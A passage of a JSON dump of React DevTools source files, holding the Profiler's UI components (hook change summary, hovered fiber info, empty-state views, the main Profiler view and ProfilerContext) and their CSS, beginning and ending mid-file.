    "content": ".LoadHookNamesToggle,\n.ToggleError {\n  padding: 2px;\n  background: none;\n  border: none;\n  cursor: pointer;\n  position: relative;\n  bottom: -0.2em;\n  margin-block: -1em;\n}\n\n.ToggleError {\n  color: var(--color-error-text);\n}\n\n.Hook {\n  list-style-type: none;\n  margin: 0;\n  padding-left: 0.5rem;\n  line-height: 1.125rem;\n\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n}\n\n.Hook .Hook {\n  padding-left: 1rem;\n}\n\n.Name {\n  color: var(--color-dim);\n  flex: 0 0 auto;\n  cursor: default;\n}\n\n.PrimitiveHookName {\n  color: var(--color-text);\n  flex: 0 0 auto;\n  cursor: default;\n}\n\n.Name:after {\n  color: var(--color-text);\n  content: ': ';\n  margin-right: 0.5rem;\n}\n\n.PrimitiveHookNumber {\n  background-color: var(--color-primitive-hook-badge-background);\n  color: var(--color-primitive-hook-badge-text);\n  font-size: var(--font-size-monospace-small);\n  margin-right: 0.25rem;\n  border-radius: 0.125rem;\n  padding: 0.125rem 0.25rem;\n}\n\n.HookName {\n  color: var(--color-component-name);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/HookChangeSummary.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {\n  useContext,\n  useMemo,\n  useCallback,\n  memo,\n  useState,\n  useEffect,\n} from 'react';\nimport styles from './HookChangeSummary.css';\nimport ButtonIcon from '../ButtonIcon';\nimport {InspectedElementContext} from '../Components/InspectedElementContext';\nimport {StoreContext} from '../context';\n\nimport {getAlreadyLoadedHookNames} from 'react-devtools-shared/src/hookNamesCache';\nimport {getHookSourceLocationKey} from 'react-devtools-shared/src/hookSourceLocation';\nimport Toggle from '../Toggle';\nimport type {HooksNode} from 'react-debug-tools/src/ReactDebugHooks';\nimport type {ChangeDescription} from './types';\n\n// $FlowFixMe: Flow doesn't know about Intl.ListFormat\nconst hookListFormatter = new Intl.ListFormat('en', {\n  style: 'long',\n  type: 'conjunction',\n});\n\ntype HookProps = {\n  hook: HooksNode,\n  hookNames: Map<string, string> | null,\n};\n\nconst Hook: component(...props: HookProps) = memo(\n  ({hook, hookNames}: HookProps) => {\n    const hookSource = hook.hookSource;\n    const hookName = useMemo(() => {\n      if (!hookSource || !hookNames) return null;\n      const key = getHookSourceLocationKey(hookSource);\n      return hookNames.get(key) || null;\n    }, [hookSource, hookNames]);\n\n    return (\n      <ul className={styles.Hook}>\n        <li>\n          {hook.id !== null && (\n            <span className={styles.PrimitiveHookNumber}>\n              {String(hook.id + 1)}\n            </span>\n          )}\n          <span\n            className={\n              hook.id !== null ? styles.PrimitiveHookName : styles.Name\n            }>\n            {hook.name}\n            {hookName && <span className={styles.HookName}>({hookName})</span>}\n          </span>\n          {hook.subHooks?.map((subHook, index) => (\n            <Hook key={hook.id} hook={subHook} hookNames={hookNames} />\n          ))}\n        </li>\n      </ul>\n    );\n  },\n);\n\nconst shouldKeepHook = (\n  hook: HooksNode,\n  hooksArray: Array<number>,\n): boolean => {\n  if (hook.id !== null && hooksArray.includes(hook.id)) {\n    return true;\n  }\n  const subHooks = hook.subHooks;\n  if (subHooks == null) {\n    return false;\n  }\n\n  return subHooks.some(subHook => shouldKeepHook(subHook, hooksArray));\n};\n\nconst filterHooks = (\n  hook: HooksNode,\n  hooksArray: Array<number>,\n): HooksNode | null => {\n  if (!shouldKeepHook(hook, hooksArray)) {\n    return null;\n  }\n\n  const subHooks = hook.subHooks;\n  if (subHooks == null) {\n    return hook;\n  }\n\n  const filteredSubHooks = subHooks\n    .map(subHook => filterHooks(subHook, hooksArray))\n    .filter(Boolean);\n  return filteredSubHooks.length > 0\n    ? {...hook, subHooks: filteredSubHooks}\n    : hook;\n};\n\ntype Props = {|\n  fiberID: number,\n  hooks: ChangeDescription['hooks'],\n  state: ChangeDescription['state'],\n  displayMode?: 'detailed' | 'compact',\n|};\n\nconst HookChangeSummary: component(...props: Props) = memo(\n  ({hooks, fiberID, state, displayMode = 'detailed'}: Props) => {\n    const {parseHookNames, toggleParseHookNames, inspectedElement} = useContext(\n      InspectedElementContext,\n    );\n    const store = useContext(StoreContext);\n\n    const [parseHookNamesOptimistic, setParseHookNamesOptimistic] =\n      useState<boolean>(parseHookNames);\n\n    useEffect(() => {\n      setParseHookNamesOptimistic(parseHookNames);\n    }, [inspectedElement?.id, parseHookNames]);\n\n    const handleOnChange = useCallback(() => {\n      setParseHookNamesOptimistic(!parseHookNames);\n      toggleParseHookNames();\n    }, [toggleParseHookNames, parseHookNames]);\n\n    const element = fiberID !== null ? store.getElementByID(fiberID) : null;\n    const hookNames =\n      element != null ? getAlreadyLoadedHookNames(element) : null;\n\n    const filteredHooks = useMemo(() => {\n      if (!hooks || !inspectedElement?.hooks) return null;\n      return inspectedElement.hooks\n        .map(hook => filterHooks(hook, hooks))\n        .filter(Boolean);\n    }, [inspectedElement?.hooks, hooks]);\n\n    const hookParsingFailed = parseHookNames && hookNames === null;\n\n    if (!hooks?.length) {\n      return <span>No hooks changed</span>;\n    }\n\n    if (\n      inspectedElement?.id !== element?.id ||\n      filteredHooks?.length !== hooks.length ||\n      displayMode === 'compact'\n    ) {\n      const hookIds = hooks.map(hookId => String(hookId + 1));\n      const hookWord = hookIds.length === 1 ? '• Hook' : '• Hooks';\n      return (\n        <span>\n          {hookWord} {hookListFormatter.format(hookIds)} changed\n        </span>\n      );\n    }\n\n    let toggleTitle: string;\n    if (hookParsingFailed) {\n      toggleTitle = 'Hook parsing failed';\n    } else if (parseHookNamesOptimistic) {\n      toggleTitle = 'Parsing hook names ...';\n    } else {\n      toggleTitle = 'Parse hook names (may be slow)';\n    }\n\n    if (filteredHooks == null) {\n      return null;\n    }\n\n    return (\n      <div>\n        {filteredHooks.length > 1 ? '• Hooks changed:' : '• Hook changed:'}\n        {(!parseHookNames || hookParsingFailed) && (\n          <Toggle\n            className={\n              hookParsingFailed\n                ? styles.ToggleError\n                : styles.LoadHookNamesToggle\n            }\n            isChecked={parseHookNamesOptimistic}\n            isDisabled={parseHookNamesOptimistic || hookParsingFailed}\n            onChange={handleOnChange}\n            title={toggleTitle}>\n            <ButtonIcon type=\"parse-hook-names\" />\n          </Toggle>\n        )}\n        {filteredHooks.map(hook => (\n          <Hook\n            key={`${inspectedElement?.id ?? 'unknown'}-${hook.id}`}\n            hook={hook}\n            hookNames={hookNames}\n          />\n        ))}\n      </div>\n    );\n  },\n);\n\nexport default HookChangeSummary;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/HoveredFiberInfo.css",
    "content": ".Toolbar {\n  padding: 0.25rem 0;\n  flex: 0 0 auto;\n  display: flex;\n  flex-direction: column;\n  gap: 0.25rem;\n}\n\n.BadgesContainer {\n  display: flex;\n  flex-direction: column;\n  gap: 0.25rem;\n}\n\n.BadgesContainer:not(:empty) {\n  padding-bottom: 0.25rem;\n  border-bottom: 1px solid var(--color-border);\n}\n\n.Content {\n  user-select: none;\n  overflow-y: auto;\n}\n\n.Component {\n  flex: 1;\n  font-weight: bold;\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  white-space: nowrap;\n  overflow-x: hidden;\n  text-overflow: ellipsis;\n  padding-bottom: 0.25rem;\n  border-bottom: 1px solid var(--color-border);\n}\n\n.CurrentCommit {\n  display: block;\n  width: 100%;\n  text-align: left;\n  background: none;\n  border: none;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/HoveredFiberInfo.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useContext} from 'react';\n\nimport InspectedElementBadges from '../Components/InspectedElementBadges';\nimport {ProfilerContext} from './ProfilerContext';\nimport {formatDuration} from './utils';\nimport WhatChanged from './WhatChanged';\nimport {StoreContext} from '../context';\n\nimport styles from './HoveredFiberInfo.css';\n\nimport type {ChartNode} from './FlamegraphChartBuilder';\n\nexport type TooltipFiberData = {\n  id: number,\n  name: string,\n};\n\nexport type Props = {\n  fiberData: ChartNode,\n};\n\nexport default function HoveredFiberInfo({fiberData}: Props): React.Node {\n  const {profilerStore} = useContext(StoreContext);\n  const {rootID, selectedCommitIndex} = useContext(ProfilerContext);\n\n  const {id, name} = fiberData;\n  const {profilingCache} = profilerStore;\n\n  if (rootID === null || selectedCommitIndex === null) {\n    return null;\n  }\n\n  const commitIndices = profilingCache.getFiberCommits({\n    fiberID: id,\n    rootID,\n  });\n\n  const {nodes} = profilingCache.getCommitTree({\n    rootID,\n    commitIndex: selectedCommitIndex,\n  });\n  const node = nodes.get(id);\n\n  let renderDurationInfo = null;\n  let i = 0;\n  for (i = 0; i < commitIndices.length; i++) {\n    const commitIndex = commitIndices[i];\n    if (selectedCommitIndex === commitIndex) {\n      const {fiberActualDurations, fiberSelfDurations} =\n        profilerStore.getCommitData(((rootID: any): number), commitIndex);\n      const actualDuration = fiberActualDurations.get(id) || 0;\n      const selfDuration = fiberSelfDurations.get(id) || 0;\n\n      renderDurationInfo = (\n        <div key={commitIndex} className={styles.CurrentCommit}>\n          <strong>Duration:</strong> {formatDuration(selfDuration)}ms of{' '}\n          {formatDuration(actualDuration)}ms\n        </div>\n      );\n\n      break;\n    }\n  }\n\n  return (\n    <Fragment>\n      <div className={styles.Toolbar}>\n        <div className={styles.Component}>{name}</div>\n\n        {node != null && (\n          <div className={styles.BadgesContainer}>\n            <InspectedElementBadges\n              hocDisplayNames={node.hocDisplayNames}\n              compiledWithForget={node.compiledWithForget}\n            />\n\n            {node.compiledWithForget && (\n              <div>\n                ✨ This component has been auto-memoized by the React Compiler.\n              </div>\n            )}\n          </div>\n        )}\n\n        <div className={styles.Content}>\n          {renderDurationInfo || <div>Did not client render.</div>}\n\n          <WhatChanged fiberID={id} displayMode=\"compact\" />\n        </div>\n      </div>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/NoCommitData.css",
    "content": ".NoCommitData {\n  width: 100%;\n  height: 100%;\n  display: flex;\n  flex-direction: column;\n  align-items: center;\n  justify-content: center;\n}\n\n.Header {\n  font-size: var(--font-size-sans-large);\n  margin-bottom: 0.5rem;\n}\n\n.FilterMessage {\n  display: flex;\n  align-items: center;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/NoCommitData.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport styles from './NoCommitData.css';\n\nexport default function NoCommitData(_: {}): React.Node {\n  return (\n    <div className={styles.NoCommitData}>\n      <div className={styles.Header}>\n        There is no data matching the current filter criteria.\n      </div>\n      <div className={styles.FilterMessage}>\n        Try adjusting the commit filter in Profiler settings.\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/NoProfilingData.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport RecordToggle from './RecordToggle';\n\nimport styles from './Profiler.css';\n\nexport default function NoProfilingData(): React.Node {\n  return (\n    <div className={styles.Column}>\n      <div className={styles.Header}>No profiling data has been recorded.</div>\n      <div className={styles.Row}>\n        Click the record button <RecordToggle /> to start recording.\n      </div>\n      <div className={`${styles.Row} ${styles.LearnMoreRow}`}>\n        Click{' '}\n        <a\n          className={styles.LearnMoreLink}\n          href=\"https://fb.me/react-devtools-profiling\"\n          rel=\"noopener noreferrer\"\n          target=\"_blank\">\n          here\n        </a>{' '}\n        to learn more about profiling.\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/ProcessingData.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport styles from './Profiler.css';\n\nexport default function ProcessingData(): React.Node {\n  return (\n    <div className={styles.Column}>\n      <div className={styles.Header}>Processing data...</div>\n      <div className={styles.Row}>This should only take a minute.</div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/Profiler.css",
    "content": ".Profiler {\n  width: 100%;\n  height: 100%;\n  position: relative;\n  display: flex;\n  flex-direction: row;\n  align-items: stretch;\n  font-family: var(--font-family-sans);\n  font-size: var(--font-size-sans-normal);\n  background-color: var(--color-background);\n  color: var(--color-text);\n}\n\n.Profiler, .Profiler * {\n  box-sizing: border-box;\n  -webkit-font-smoothing: var(--font-smoothing);\n}\n\n.LeftColumn {\n  display: flex;\n  flex-direction: column;\n  flex: 2 1 200px;\n  border-top: 1px solid var(--color-border);\n}\n\n.RightColumn {\n  display: flex;\n  flex-direction: column;\n  flex: 1 1 100px;\n  max-width: 300px;\n  overflow-x: hidden;\n  border-left: 1px solid var(--color-border);\n  border-top: 1px solid var(--color-border);\n}\n\n.Content {\n  position: relative;\n  flex: 1 1 auto;\n  display: flex;\n  flex-direction: column;\n  align-items: center;\n  justify-content: center;\n}\n\n.Column {\n  display: flex;\n  flex-direction: column;\n  align-items: center;\n  justify-content: center;\n  padding: 0 1rem;\n}\n\n.Paragraph {\n  text-align: center;\n}\n\n.Row {\n  display: flex;\n  flex-direction: row;\n  align-items: center;\n  justify-content: center;\n}\n\n.LearnMoreRow {\n  margin-top: 1rem;\n  color: var(--color-dim);\n  font-size: var(--font-size-sans-small);\n}\n\n.Header {\n  font-size: var(--font-size-sans-large);\n  margin-bottom: 0.5rem;\n}\n\n.Toolbar {\n  height: 2.25rem;\n  padding: 0 0.25rem;\n  flex: 0 0 auto;\n  display: flex;\n  align-items: center;\n  border-bottom: 1px solid var(--color-border);\n}\n\n.VRule {\n  height: 20px;\n  width: 1px;\n  border-left: 1px solid var(--color-border);\n  padding-left: 0.25rem;\n  margin-left: 0.25rem;\n}\n\n.Spacer {\n  flex: 1;\n}\n\n.StopRecordingButton {\n  font-size: var(--font-size-sans-large);\n  padding: 0.5rem;\n}\n\n.ContentFallback {\n  width: 100%;\n  height: 100%;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  font-size: var(--font-size-sans-large);\n  color: var(--color-dim);\n}\n\n.SnapshotSelectorFallback {\n  height: 100%;\n  padding-left: 0.5rem;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  font-size: var(--font-size-sans-large);\n  color: var(--color-dim);\n}\n\n.Link {\n  color: var(--color-button);\n}\n\n.TimelineSearchInputContainer {\n  flex: 1 1;\n  display: flex;\n  align-items: center;\n}\n\n.LearnMoreLink {\n  color: var(--color-link);\n  margin-left: 0.25rem;\n  margin-right: 0.25rem;\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/Profiler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useContext, useEffect, useRef, useEffectEvent} from 'react';\nimport {ModalDialog} from '../ModalDialog';\nimport {ProfilerContext} from './ProfilerContext';\nimport TabBar from '../TabBar';\nimport ClearProfilingDataButton from './ClearProfilingDataButton';\nimport CommitFlamegraph from './CommitFlamegraph';\nimport CommitRanked from './CommitRanked';\nimport RootSelector from './RootSelector';\nimport {Timeline} from 'react-devtools-timeline/src/Timeline';\nimport SidebarEventInfo from './SidebarEventInfo';\nimport RecordToggle from './RecordToggle';\nimport ReloadAndProfileButton from './ReloadAndProfileButton';\nimport ProfilingImportExportButtons from './ProfilingImportExportButtons';\nimport SnapshotSelector from './SnapshotSelector';\nimport SidebarCommitInfo from './SidebarCommitInfo';\nimport NoProfilingData from './NoProfilingData';\nimport RecordingInProgress from './RecordingInProgress';\nimport ProcessingData from './ProcessingData';\nimport ProfilingNotSupported from './ProfilingNotSupported';\nimport SidebarSelectedFiberInfo from './SidebarSelectedFiberInfo';\nimport SettingsModal from 'react-devtools-shared/src/devtools/views/Settings/SettingsModal';\nimport SettingsModalContextToggle from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle';\nimport {SettingsModalContextController} from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContext';\nimport portaledContent from '../portaledContent';\nimport {StoreContext} from '../context';\nimport {TimelineContext} from 'react-devtools-timeline/src/TimelineContext';\n\nimport styles from './Profiler.css';\n\nfunction Profiler(_: {}) {\n  const profilerRef = useRef<HTMLDivElement | null>(null);\n  const isMac =\n    typeof navigator !== 'undefined' &&\n    navigator.platform.toUpperCase().indexOf('MAC') >= 0;\n\n  const {\n    didRecordCommits,\n    isProcessingData,\n    isProfiling,\n    selectedCommitIndex,\n    selectedFiberID,\n    selectedTabID,\n    selectTab,\n    supportsProfiling,\n    startProfiling,\n    stopProfiling,\n    selectPrevCommitIndex,\n    selectNextCommitIndex,\n  } = useContext(ProfilerContext);\n\n  const {file: timelineTraceEventData, searchInputContainerRef} =\n    useContext(TimelineContext);\n\n  const {supportsTimeline} = useContext(StoreContext);\n\n  const isLegacyProfilerSelected = selectedTabID !== 'timeline';\n\n  const handleKeyDown = useEffectEvent((event: KeyboardEvent) => {\n    const correctModifier = isMac ? event.metaKey : event.ctrlKey;\n    // Cmd+E to start/stop profiler recording\n    if (correctModifier && event.key === 'e') {\n      if (isProfiling) {\n        stopProfiling();\n      } else {\n        startProfiling();\n      }\n      event.preventDefault();\n      event.stopPropagation();\n    } else if (\n      isLegacyProfilerSelected &&\n      didRecordCommits &&\n      selectedCommitIndex !== null\n    ) {\n      // Cmd+Left/Right (Mac) or Ctrl+Left/Right (Windows/Linux) to navigate commits\n      if (\n        correctModifier &&\n        (event.key === 'ArrowLeft' || event.key === 'ArrowRight')\n      ) {\n        if (event.key === 'ArrowLeft') {\n          selectPrevCommitIndex();\n        } else {\n          selectNextCommitIndex();\n        }\n        event.preventDefault();\n        event.stopPropagation();\n      }\n    }\n  });\n\n  useEffect(() => {\n    const div = profilerRef.current;\n    if (!div) {\n      return;\n    }\n    const ownerWindow = div.ownerDocument.defaultView;\n    ownerWindow.addEventListener('keydown', handleKeyDown);\n    return () => {\n      ownerWindow.removeEventListener('keydown', handleKeyDown);\n    };\n  }, []);\n\n  let view = null;\n  if (didRecordCommits || selectedTabID === 'timeline') {\n    switch (selectedTabID) {\n      case 'flame-chart':\n        view = <CommitFlamegraph />;\n        break;\n      case 'ranked-chart':\n        view = <CommitRanked />;\n        break;\n      case 'timeline':\n        view = <Timeline />;\n        break;\n      default:\n        break;\n    }\n  } else if (isProfiling) {\n    view = <RecordingInProgress />;\n  } else if (isProcessingData) {\n    view = <ProcessingData />;\n  } else if (timelineTraceEventData) {\n    view = <OnlyTimelineData />;\n  } else if (supportsProfiling) {\n    view = <NoProfilingData />;\n  } else {\n    view = <ProfilingNotSupported />;\n  }\n\n  let sidebar = null;\n  if (!isProfiling && !isProcessingData && didRecordCommits) {\n    switch (selectedTabID) {\n      case 'flame-chart':\n      case 'ranked-chart':\n        // TRICKY\n        // Handle edge case where no commit is selected because of a min-duration filter update.\n        // In that case, the selected commit index would be null.\n        // We could still show a sidebar for the previously selected fiber,\n        // but it would be an odd user experience.\n        // TODO (ProfilerContext) This check should not be necessary.\n        if (selectedCommitIndex !== null) {\n          if (selectedFiberID !== null) {\n            sidebar = <SidebarSelectedFiberInfo />;\n          } else {\n            sidebar = <SidebarCommitInfo />;\n          }\n        }\n        break;\n      case 'timeline':\n        sidebar = <SidebarEventInfo />;\n        break;\n      default:\n        break;\n    }\n  }\n\n  return (\n    <SettingsModalContextController>\n      <div ref={profilerRef} className={styles.Profiler}>\n        <div className={styles.LeftColumn}>\n          <div className={styles.Toolbar}>\n            <RecordToggle disabled={!supportsProfiling} />\n            <ReloadAndProfileButton disabled={!supportsProfiling} />\n            <ClearProfilingDataButton />\n            <ProfilingImportExportButtons />\n            <div className={styles.VRule} />\n            <TabBar\n              currentTab={selectedTabID}\n              id=\"Profiler\"\n              selectTab={selectTab}\n              tabs={supportsTimeline ? tabsWithTimeline : tabs}\n              type=\"profiler\"\n            />\n            <RootSelector />\n            <div className={styles.Spacer} />\n            {!isLegacyProfilerSelected && (\n              <div\n                ref={searchInputContainerRef}\n                className={styles.TimelineSearchInputContainer}\n              />\n            )}\n            <SettingsModalContextToggle />\n            {isLegacyProfilerSelected && didRecordCommits && (\n              <Fragment>\n                <div className={styles.VRule} />\n                <SnapshotSelector />\n              </Fragment>\n            )}\n          </div>\n          <div className={styles.Content}>\n            {view}\n            <ModalDialog />\n          </div>\n        </div>\n        <div className={styles.RightColumn}>{sidebar}</div>\n        <SettingsModal />\n      </div>\n    </SettingsModalContextController>\n  );\n}\n\nconst OnlyTimelineData = () => (\n  <div className={styles.Column}>\n    <div className={styles.Header}>Timeline only</div>\n    <div className={styles.Row}>\n      The current profile contains only Timeline data.\n    </div>\n  </div>\n);\n\nconst tabs = [\n  {\n    id: 'flame-chart',\n    icon: 'flame-chart',\n    label: 'Flamegraph',\n    title: 'Flamegraph chart',\n  },\n  {\n    id: 'ranked-chart',\n    icon: 'ranked-chart',\n    label: 'Ranked',\n    title: 'Ranked chart',\n  },\n];\n\nconst tabsWithTimeline = [\n  ...tabs,\n  null, // Divider/separator\n  {\n    id: 'timeline',\n    icon: 'timeline',\n    label: 'Timeline',\n    title: 'Timeline',\n  },\n];\n\nexport default (portaledContent(Profiler): component());\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/ProfilerContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport * as React from 'react';\nimport {\n  createContext,\n  useCallback,\n  useContext,\n  useMemo,\n  useState,\n  useEffect,\n} from 'react';\nimport {useLocalStorage, useSubscription} from '../hooks';\nimport {\n  TreeDispatcherContext,\n  TreeStateContext,\n} from '../Components/TreeContext';\nimport {StoreContext} from '../context';\nimport {logEvent} from 'react-devtools-shared/src/Logger';\nimport {useCommitFilteringAndNavigation} from './useCommitFilteringAndNavigation';\n\nimport type {CommitDataFrontend, ProfilingDataFrontend} from './types';\n\nexport type TabID = 'flame-chart' | 'ranked-chart' | 'timeline';\n\nexport type Context = {\n  // Which tab is selected in the Profiler UI?\n  selectedTabID: TabID,\n  selectTab(id: TabID): void,\n\n  // Store subscription based values.\n  // The isProfiling value may be modified by the record button in the Profiler toolbar,\n  // or from the backend itself (after a reload-and-profile action).\n  // It is synced between the backend and frontend via a Store subscription.\n  didRecordCommits: boolean,\n  isProcessingData: boolean,\n  isProfiling: boolean,\n  profilingData: ProfilingDataFrontend | null,\n  startProfiling(): void,\n  stopProfiling(): void,\n  supportsProfiling: boolean,\n\n  // Which root should profiling data be shown for?\n  // This value should be initialized to either:\n  // 1. The selected root in the Components tree (if it has any profiling data) or\n  // 2. The first root in the list with profiling data.\n  rootID: number | null,\n  setRootID: (id: number) => void,\n\n  // Controls whether commits are filtered by duration.\n  // This value is controlled by a filter toggle UI in the Profiler toolbar.\n  // It impacts the commit selector UI as well as the fiber commits bar chart.\n  isCommitFilterEnabled: boolean,\n  setIsCommitFilterEnabled: (value: boolean) => void,\n  minCommitDuration: number,\n  setMinCommitDuration: (value: number) => void,\n\n  // Which commit is currently selected in the commit selector UI.\n  // Note that this is the index of the commit in all commits (non-filtered) that were profiled.\n  // This value is controlled by the commit selector UI in the Profiler toolbar.\n  // It impacts the flame graph and ranked charts.\n  selectedCommitIndex: number | null,\n  selectCommitIndex: (value: number | null) => void,\n  selectNextCommitIndex(): void,\n  selectPrevCommitIndex(): void,\n\n  // Which commits are currently filtered by duration?\n  filteredCommitIndices: Array<number>,\n  selectedFilteredCommitIndex: number | null,\n\n  // Which fiber is currently selected in the Ranked or Flamegraph charts?\n  selectedFiberID: number | null,\n  selectedFiberName: string | null,\n  selectFiber: (id: number | null, name: string | null) => void,\n};\n\nconst ProfilerContext: ReactContext<Context> = createContext<Context>(\n  ((null: any): Context),\n);\nProfilerContext.displayName = 'ProfilerContext';\n\ntype StoreProfilingState = {\n  didRecordCommits: boolean,\n  isProcessingData: boolean,\n  isProfiling: boolean,\n  profilingData: ProfilingDataFrontend | null,\n  supportsProfiling: boolean,\n};\n\ntype Props = {\n  children: React$Node,\n};\n\nfunction ProfilerContextController({children}: Props): React.Node {\n  const store = useContext(StoreContext);\n  const {inspectedElementID} = useContext(TreeStateContext);\n  const dispatch = useContext(TreeDispatcherContext);\n\n  const {profilerStore} = store;\n\n  const subscription = useMemo(\n    () => ({\n      getCurrentValue: () => ({\n        didRecordCommits: profilerStore.didRecordCommits,\n        isProcessingData: profilerStore.isProcessingData,\n        isProfiling: profilerStore.isProfilingBasedOnUserInput,\n        profilingData: profilerStore.profilingData,\n        supportsProfiling: store.rootSupportsBasicProfiling,\n      }),\n      subscribe: (callback: Function) => {\n        profilerStore.addListener('profilingData', callback);\n        profilerStore.addListener('isProcessingData', callback);\n        profilerStore.addListener('isProfiling', callback);\n        store.addListener('rootSupportsBasicProfiling', callback);\n        return () => {\n          profilerStore.removeListener('profilingData', callback);\n          profilerStore.removeListener('isProcessingData', callback);\n          profilerStore.removeListener('isProfiling', callback);\n          store.removeListener('rootSupportsBasicProfiling', callback);\n        };\n      },\n    }),\n    [profilerStore, store],\n  );\n  const {\n    didRecordCommits,\n    isProcessingData,\n    isProfiling,\n    profilingData,\n    supportsProfiling,\n  } = useSubscription<StoreProfilingState>(subscription);\n\n  const [prevProfilingData, setPrevProfilingData] =\n    useState<ProfilingDataFrontend | null>(null);\n  const [rootID, setRootID] = useState<number | null>(null);\n  const [selectedFiberID, selectFiberID] = useState<number | null>(null);\n  const [selectedFiberName, selectFiberName] = useState<string | null>(null);\n\n  const selectFiber = useCallback(\n    (id: number | null, name: string | null) => {\n      selectFiberID(id);\n      selectFiberName(name);\n\n      // Sync selection to the Components tab for convenience.\n      // Keep in mind that profiling data may be from a previous session.\n      // If data has been imported, we should skip the selection sync.\n      if (\n        id !== null &&\n        profilingData !== null &&\n        profilingData.imported === false\n      ) {\n        // We should still check to see if this element is still in the store.\n        // It may have been removed during profiling.\n        if (store.containsElement(id)) {\n          dispatch({\n            type: 'SELECT_ELEMENT_BY_ID',\n            payload: id,\n          });\n        }\n      }\n    },\n    [dispatch, selectFiberID, selectFiberName, store, profilingData],\n  );\n\n  const setRootIDAndClearFiber = useCallback(\n    (id: number | null) => {\n      selectFiber(null, null);\n      setRootID(id);\n    },\n    [setRootID, selectFiber],\n  );\n\n  // Sync rootID with profilingData changes.\n  if (prevProfilingData !== profilingData) {\n    setPrevProfilingData(profilingData);\n\n    const dataForRoots =\n      profilingData !== null ? profilingData.dataForRoots : null;\n    if (dataForRoots != null) {\n      const firstRootID = dataForRoots.keys().next().value || null;\n\n      if (rootID === null || !dataForRoots.has(rootID)) {\n        let selectedElementRootID = null;\n        if (inspectedElementID !== null) {\n          selectedElementRootID = store.getRootIDForElement(inspectedElementID);\n        }\n        if (\n          selectedElementRootID !== null &&\n          dataForRoots.has(selectedElementRootID)\n        ) {\n          setRootIDAndClearFiber(selectedElementRootID);\n        } else {\n          setRootIDAndClearFiber(firstRootID);\n        }\n      }\n    }\n  }\n\n  const [selectedTabID, selectTab] = useLocalStorage<TabID>(\n    'React::DevTools::Profiler::defaultTab',\n    'flame-chart',\n    value => {\n      logEvent({\n        event_name: 'profiler-tab-changed',\n        metadata: {\n          tabId: value,\n        },\n      });\n    },\n  );\n\n  const stopProfiling = useCallback(\n    () => store.profilerStore.stopProfiling(),\n    [store],\n  );\n\n  // Get commit data for the current root\n  // NOTE: Unlike profilerStore.getDataForRoot() which uses Suspense (throws when data unavailable),\n  // this uses subscription pattern and returns [] when data isn't ready.\n  // Always check didRecordCommits before using commitData or filteredCommitIndices.\n  const commitData = useMemo(() => {\n    if (!didRecordCommits || rootID === null || profilingData === null) {\n      return ([]: Array<CommitDataFrontend>);\n    }\n    const dataForRoot = profilingData.dataForRoots.get(rootID);\n    return dataForRoot\n      ? dataForRoot.commitData\n      : ([]: Array<CommitDataFrontend>);\n  }, [didRecordCommits, rootID, profilingData]);\n\n  // Commit filtering and navigation\n  const {\n    isCommitFilterEnabled,\n    setIsCommitFilterEnabled,\n    minCommitDuration,\n    setMinCommitDuration,\n    selectedCommitIndex,\n    selectCommitIndex,\n    filteredCommitIndices,\n    selectedFilteredCommitIndex,\n    selectNextCommitIndex,\n    selectPrevCommitIndex,\n  } = useCommitFilteringAndNavigation(commitData);\n\n  const startProfiling = useCallback(() => {\n    logEvent({\n      event_name: 'profiling-start',\n      metadata: {current_tab: selectedTabID},\n    });\n\n    // Clear selections when starting a new profiling session\n    selectCommitIndex(null);\n    selectFiberID(null);\n    selectFiberName(null);\n\n    store.profilerStore.startProfiling();\n  }, [store, selectedTabID, selectCommitIndex]);\n\n  // Auto-select first commit when profiling data becomes available and no commit is selected.\n  useEffect(() => {\n    if (\n      profilingData !== null &&\n      selectedCommitIndex === null &&\n      rootID !== null\n    ) {\n      const dataForRoot = profilingData.dataForRoots.get(rootID);\n      if 